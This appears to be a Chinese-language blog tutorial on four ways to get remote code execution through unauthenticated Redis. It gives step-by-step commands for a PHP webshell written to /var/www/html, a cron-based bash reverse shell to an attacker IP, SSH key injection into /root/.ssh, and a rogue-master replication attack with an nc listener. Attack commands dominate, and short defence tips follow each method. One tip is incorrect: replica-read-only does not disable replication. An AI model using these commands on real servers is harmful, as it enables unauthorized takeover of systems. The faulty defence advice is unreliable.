Redis作為高性能內存數據庫,若未正確配置認證和訪問控制,可能被攻擊者利用實現遠程代碼執行(GetShell)。本文詳細講解四種常見的Redis GetShell方式,涵蓋原理、操作步驟及防御建議。
方式一:直接寫入Shell腳本??
??原理??
通過Redis的CONFIG SET
命令修改數據庫存儲路徑和文件名,將惡意腳本寫入Web目錄,利用Web服務解析執行。
??操作步驟??
??1. 環境準備??
- 目標Redis服務未授權訪問(綁定
0.0.0.0:6379
且無密碼)。 - 已知目標Web服務路徑(如
/var/www/html
)。
??2. 連接Redis??
使用redis-cli
連接目標Redis:
redis-cli -h 目標IP -p 6379
??3. 修改Redis配置??
通過CONFIG SET
命令設置數據庫存儲路徑和文件名:
CONFIG SET dir /var/www/html # 修改存儲路徑為Web目錄
CONFIG SET dbfilename shell.php # 設置文件名為shell.php
??4. 寫入惡意腳本??
使用SET
命令寫入PHP WebShell內容:
SET shell "<?php system($_GET['cmd']);?>"
??5. 保存配置??
執行SAVE
命令將數據持久化到磁盤:
SAVE
此時/var/www/html/shell.php
文件已生成,可通過瀏覽器訪問http://目標IP/shell.php?cmd=whoami
驗證。
??防御建議??
- 限制Redis訪問IP(
bind 127.0.0.1
)。 - 設置強密碼(
requirepass
)。 - 禁止Redis寫入系統關鍵目錄(如
/var/www
)。
??方式二:定時任務寫入反彈Shell??
??原理??
通過Redis的CONFIG SET
修改dir
為/var/spool/cron/
(Linux定時任務目錄),寫入反彈Shell的定時任務,觸發后連接攻擊機。
??操作步驟??
??1. 環境準備??
- 目標Redis未授權訪問。
- 目標系統為Linux,且Redis進程有權限寫入
/var/spool/cron/
。
??2. 連接Redis并修改配置??
redis-cli -h 目標IP -p 6379
CONFIG SET dir /var/spool/cron/ # 修改存儲路徑為cron目錄
CONFIG SET dbfilename root # 文件名為root(針對root用戶的cron)
??3. 寫入反彈Shell命令??
反彈Shell到攻擊機(假設攻擊機IP為192.168.1.100
,端口4444
):
SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"
??注意??:
\n\n
用于避免破壞cron文件格式。- 定時任務每分鐘執行一次,連接攻擊機。
??4. 保存配置??
SAVE
攻擊機監聽端口:
nc -lvvp 4444
若連接成功,可執行任意命令(如whoami
)。
??防御建議??
- 限制Redis對系統目錄的寫入權限。
- 監控
/var/spool/cron/
目錄的異常修改。
??方式三:寫SSH公鑰登錄服務器??
??原理??
通過Redis寫入~/.ssh/authorized_keys
文件,將攻擊者的SSH公鑰添加到目標服務器,實現免密登錄。
??操作步驟??
??1. 環境準備??
- 目標Redis未授權訪問。
- 目標服務器開啟SSH服務且Redis進程有權限寫入
/root/.ssh/
(或當前用戶目錄)。
??2. 生成SSH密鑰對??
在攻擊機上生成密鑰對(若已有可跳過):
ssh-keygen -t rsa # 默認保存到~/.ssh/id_rsa.pub
??3. 連接Redis并修改配置??
redis-cli -h 目標IP -p 6379
CONFIG SET dir /root/.ssh/ # 修改存儲路徑為.ssh目錄
CONFIG SET dbfilename authorized_keys # 文件名為authorized_keys
??4. 寫入公鑰??
將公鑰內容寫入Redis(需替換實際公鑰):
SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻擊機公鑰內容..."
??5. 保存配置??
SAVE
攻擊機直接SSH登錄目標服務器:
ssh root@目標IP
無需密碼即可登錄。
??防御建議??
- 限制Redis對
/root/.ssh/
目錄的訪問。 - 禁用Redis的
SAVE
命令(通過rename-command SAVE ""
)。
??方式四:Redis主從復制GetShell??
??原理??
利用Redis主從復制機制,誘騙目標Redis作為從節點,加載攻擊者構造的惡意RDB文件,在加載過程中執行任意代碼。
??操作步驟??
??1. 環境準備??
- 目標Redis未授權訪問。
- 攻擊機搭建惡意Redis服務(需編譯支持動態模塊的Redis版本)。
??2. 攻擊機生成惡意RDB文件??
- 使用
redis-rogue-server
工具(需Python環境)生成包含惡意模塊的RDB文件:git clone https://github.com/n0b0dyCN/redis-rogue-server.git cd redis-rogue-server pip3 install -r requirements.txt python3 redis-rogue-server.py --rhost 目標IP --lhost 攻擊機IP
??3. 配置目標Redis為主從復制??
在攻擊機上執行:
redis-cli -h 目標IP -p 6379
SLAVEOF 攻擊機IP 6379 # 將目標Redis設為從節點,連接攻擊機
CONFIG SET masterauth "" # 若主節點有密碼需配置(此處無密碼)
目標Redis會嘗試從攻擊機拉取RDB文件并加載,觸發惡意代碼執行。
??4. 獲取反彈Shell??
攻擊機監聽端口(如4444
):
nc -lvvp 4444
目標Redis加載惡意模塊后,攻擊機將收到反彈Shell。
??防御建議??
- 禁用主從復制功能(
replica-read-only yes
)。 - 升級Redis至最新版本(修復已知漏洞)。
??總結與防護措施??
??方式?? | ??關鍵利用點?? | ??防御方法?? |
---|---|---|
直接寫入Shell | 修改dir 和dbfilename | 限制寫入目錄、設置密碼、禁用高危命令 |
定時任務反彈Shell | 寫入/var/spool/cron/ | 監控cron目錄、限制Redis權限 |
SSH公鑰登錄 | 寫入~/.ssh/authorized_keys | 限制.ssh 目錄訪問、禁用Redis寫入系統文件 |
主從復制GetShell | 加載惡意RDB文件 | 禁用主從復制、升級Redis版本 |
??通用防護建議??:
- ??最小化暴露??:禁止Redis綁定公網IP,使用防火墻限制訪問源。
- ??強認證??:設置復雜密碼(
requirepass
)。 - ??定期審計??:檢查Redis配置和系統關鍵目錄(如
/var/www
、/root/.ssh/
)。 - ??日志監控??:記錄Redis操作日志,設置異常告警。
通過本文的詳細分析,讀者可深入理解Redis GetShell的原理及防御方法,提升系統安全性。